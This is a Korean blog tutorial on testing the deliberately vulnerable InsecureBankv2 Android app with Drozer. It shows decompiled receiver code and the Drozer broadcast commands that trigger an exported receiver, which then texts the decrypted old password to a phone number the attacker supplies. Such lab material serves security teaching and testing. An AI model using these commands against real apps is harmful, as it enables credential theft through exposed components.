티스토리 뷰

Drozer를 이용한 앱 취약점 진단 - Broadcast Receiver 결합


취약점 소개

안드로이드 디바이스에서 이벤트가 발생하면 브로드캐스트 신호를 보내게 되는데, 이 신호를 받아 역할을 수행한다애플리케이션에서 선언한 액션을 호출하면 리시버는 해당 액션을 인지하여 작업을 수행하고, 수행하는 작업은 브로드캐스트 리시버를 상속 받은 메서드에서 처리한다.

 브로드캐스트 리시버를 호출 할 시 비정상적, 악의적인 애플리케이션에서 발생하거나, 공격자에 의해 임의대로 생성할 수 있다.


Target APP - insecurebankv2.apk (취약점 진단용 앱)

link -> https://github.com/dineshshetty/Android-InsecureBankv2


Manifest.xml - Broadcast Receiver 확인


 Class

MyBoradCastReceiver.class 

 Name

 theBroadcast

 Exported

 True


MyBroadCastReceiver.class 확인


 

dex2jar-2.0, jd-gui-windows-1.4.0 를 이용하여 MyBroadCastReceiver.class 확인

[dex2jar-2.0, jd-gui-windows-1.4.0 사용법은 생략]


public class MyBroadCastReceiver
 
  extends BroadcastReceiver
 
{
  public static final String MYPREFS = "mySharedPreferences";
 
  String usernameBase64ByteString;
 
  public void onReceive(Context paramContext, Intent paramIntent)
  {
    Object localObject = paramIntent.getStringExtra("phonenumber");
    paramIntent = paramIntent.getStringExtra("newpass");
 
    if (localObject != null) {
      try
      {
        paramContext = paramContext.getSharedPreferences("mySharedPreferences"1);
        this.usernameBase64ByteString = new String(Base64.decode(paramContext.getString("EncryptedUsername"null), 0), "UTF-8");
        paramContext = paramContext.getString("superSecurePassword"null);
        String str = new CryptoClass().aesDeccryptedString(paramContext);
        paramContext = ((String)localObject).toString();
        paramIntent = "Updated Password from: " + str + " to: " + paramIntent;
        localObject = SmsManager.getDefault();
        System.out.println("For the changepassword - phonenumber: " + paramContext + " password is: " + paramIntent);
        ((SmsManager)localObject).sendTextMessage(paramContext, null, paramIntent, nullnull);
        return;
      }
      catch (Exception paramContext)
      {
        paramContext.printStackTrace();
        return;
      }
    }
 
    System.out.println("Phone number is null");
 
  }
cs


onReceive() 메서드를  확인해  보면 전화번호를  intent로 받아 전화번호에 문자메시지를 전송하도록 정의되어 있으며 번호가 입력되지 않았을 경우 “Phone number is null”을 출력한다.

 Exported 값이 true 이므로 외부 애플리캐이션에서의 브로드캐스트를 전송하여 요청할 수있다.

 

-phonenumber를 입력하지 않았을 때-

dz> run app.broadcast.send --component com.android.insecurebankv2 com.android.insecurebankv2.MyBroadCastReceiver


broadcast logcat 결과값


-phonenumber 와 newpass 값을 입력하여 broadcast 전송-

dz> run app.broadcast.send --component com.android.insecurebankv2 com.android.insecurebankv2.MyBroadCastReceiver --extra string phonenumber 1111 --extra string newpass test


   SMS 전송 logcat 결과값


drozer에서 전송한 broadcast로 인해 SMS 전송 결과값을 확인할 수 있다. 해당 앱의 소스 내용에서는 기존 Password 내용이 노출되는 부분이 노출되어 있기 때문에 이를 응용하여  외부  Broadcast 전송으로 정보를 얻을 수 있다



Comments
최근에 올라온 글
최근에 달린 댓글
TAG
more
Total
Today
Yesterday